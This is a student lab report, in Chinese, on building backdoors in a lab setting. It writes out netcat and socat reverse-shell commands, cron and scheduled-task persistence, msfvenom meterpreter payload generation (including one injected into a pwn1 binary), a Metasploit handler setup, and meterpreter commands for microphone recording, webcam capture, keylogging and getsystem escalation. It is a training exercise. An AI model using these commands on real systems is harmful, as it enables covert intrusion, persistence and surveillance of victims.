后门原理与实践
1.1实验内容
这次的实验主要练了几种获取主机操作权限和收集信息的方法。先是用netcat配合Linux的cron定时任务,还有socat搭配系统任务计划,分别搞到了主机的操作Shell,拿到了控制主机的入口。然后用MSF的meterpreter生成可执行文件,通过ncat或者socat传到目标主机上运行,也成功拿到了Shell。接着还试了用它获取主机里的音频、调用摄像头、记键盘敲击记录这些信息,顺便试着把权限从普通用户提到更高权限。最后结合之前接触过的pwn1程序,用MSF生成shellcode注入进去,触发漏洞后让主机主动连回来,拿到了反弹Shell。
2.实验过程
2.1使用netcat获取主机操作Shell,cron启动
1.查看IP地址
获取主机IP地址:打开cmd,输入ipconfig。查询到本机ip地址为172.16.245.13
获取虚拟机IP地址:打开虚拟机,进入命令行窗口,输入ifconfig。查询到虚拟机IP地址为192.168.9.129
2.windows获取Shell
进入ncat所在文件地址,主机cmd窗口主机输入ncat.exe -l -p 8888.监听8888端口,等待其他机器连接该端口。
在虚拟机命令行终端输入命令nc (windows主机的IP地址) 8888 -e /bin/sh。-e表示反向连接Windows。反弹连接Windows,提供自己的shell
在主机cmd窗口输入ls。
以上操作使windows获得了虚拟机的shell,可以执行虚拟机的相关命令。
3.设置cron使kali启动定时任务
crontab -e在虚拟机上编写一条定时任务,让反弹连接定时启动。
输入2表示选择vim编辑器
进入vi文本编辑器之后,按i进入编辑模式,在最后一行打上50 * * * * /bin/netcat 192.168.1.107 8888 -e /bin/sh表示在每个小时的第50分钟时反向连接windows主机的8888端口,就会启动cron
按ESC键退出编辑模式,输入:wq保存退出
输入crontab -l查看时程表
ncat.exe -l -p 8888在主机cmd中监听8888端口,等待kali机中定时反向连接的启动。在第50分钟之前输入 ls 指令,屏幕上并无显示,当时间到了,此时已经获得了shell,就显示内容
2.2使用socat获取主机操作Shell, 任务计划启动
1.事先准备一个简单程序来运行(文件路径和内容如下)
2.主机:输入socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr
虚拟机进入root用户,输入socat STDI0 tcp:172.20.10.3:8888,此时Linux监听中
虚拟机命令窗口输入schtasks /create /sc minute /mo 1 /tn "20232422lhr" /tr D:\c\lhr.exe
打开主机计算机管理,看见20232422lhr,即实验成功
2.3使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1.生成后门
虚拟机命令窗口输出
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=172.20.10.3 LPORT=8888 -f exe > 2422bdoor.exe
这里设置的主机IP为虚拟机的IP
LHOST为反弹回连的IP,在这里是要Windows主动连接kali,即反弹给Kali,也就是Kali的IP
LPORT是回连端口
p 使用payload,payload翻译为有效载荷,就是被运输有东西。
windows/meterpreter/reverse_tcp是一段shellcode
f 生成文件的类型:exe
“>” 输出文件名:2422bdoor.exe
2.将后门文件传输至目标主机
主机进入ncat所在的目录下,输入
ncat.exe -lv 8888 > "D:\0neDrive\桌面\2422bdoor.exe"在Windows上监听8888端口等待接收可执行文件2422bdoor.exe
在虚拟机上输入指令nc 192.168.1.107 8888 < 2422bdoor.exe。在虚拟机上将生成的2422bdoor.exe传送给Windows
在主机上成功找到2422bdoor.exe我们设置的后门文件。
3.进入msf控制台进行配置监听模块
回到虚拟机,在Kali终端输入命令msfconsole,然后对监听模块进行配置:
use exploit/multi/handler(使用监听模块,设置payload)
set payload windows/meterpreter/reverse_tcp (使用和生成后门程序时相同的payload)
set LHOST 172.20.10.3 (攻击机的IP地址,和生成后门程序时指定的IP相同)
set LPORT 8888(监听的端口)
接着输入exploit,使监听模块开始运行
并在Windows终端运行后门2422backdoor.exe文件
返回检查虚拟机,输入ls查看windows主机目录,确认已经连接,得到了远程控制的shell。
2.4使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
1.获取目标主机音频、截屏、摄像头、键盘记录
在exploit模块中继续输入以下命令:
record_mic (音频)
screenshot (截屏)
webcam_snap (拍照)
keyscan_start (开始读取键盘记录)
keyscan_dump (读取键盘记录结束)
拍照显示如下:
2.提权
确保windows的cmd指令是使用管理员身份运行的,继续在exploit模块中继续输入:
getuid (查看当前用户)
getsystem (提权指令)
2.5使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=172.20.10.3 LPORT=8888 -x /mnt/hgfs/20232422/pwn1 -f elf > 2422_pwn 生成以pwn1模板这个elf文件格式的shellcode文件2422_pwn
执行文件之前先加权限,对生成的2422_pwn文件赋予权限chmod a+x 2422_pwn,并且输入指令msfconsole,重现监听过程
打开另一个shell,运行生成的2422_pwn文件
回到第一个shell,输入ls确认连接,成功实现远程控制shell
3.问题及解决方案
- 问题1:刚开始主机没有用管理员模式导致后续实验在提权那一步进行不下去
- 问题1解决方案:提权权限不够需要我们使用管理员身份运行该文件。主机搜索命令提示符,点击以管理员身份运行即可。
- 问题2:MSF meterpreter生成后门文件不被windows主机识别,报错“此应用无法在你的电脑上运行”
- 问题2解决方案:修改msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.20.10.3 LPORT=8888 -f exe > 2422bdoor.exe代码,加入字段“-a x86 --platform ”指x86的32位构架进行传输。即输入命令为msfvenom -a x86 --platform -p windows/meterpreter/reverse_tcp LHOST=172.20.10.3 LPORT=8888 -f exe > 2422bdoor.exe
4.学习感悟、思考等
在实验过程中,我学习到了多种获取主机 Shell 的方法,如使用 netcat、socat 和 MSF meterpreter。它们展示了黑客可能入侵系统的途径,让我对网络安全有了更直观的认识,也提醒我在日常使用计算机和网络时要时刻保持警惕。
还学习了Meterpreter 的功能,它能够获取目标主机的音频、摄像头和击键记录等内容,这让我意识到个人隐私在网络世界中面临着巨大的风险。提权也让我明白,一旦系统被入侵,攻击者可以会进一步扩大他的控制范围。让我学到我们在工作学习生活中要学会预防后门攻击。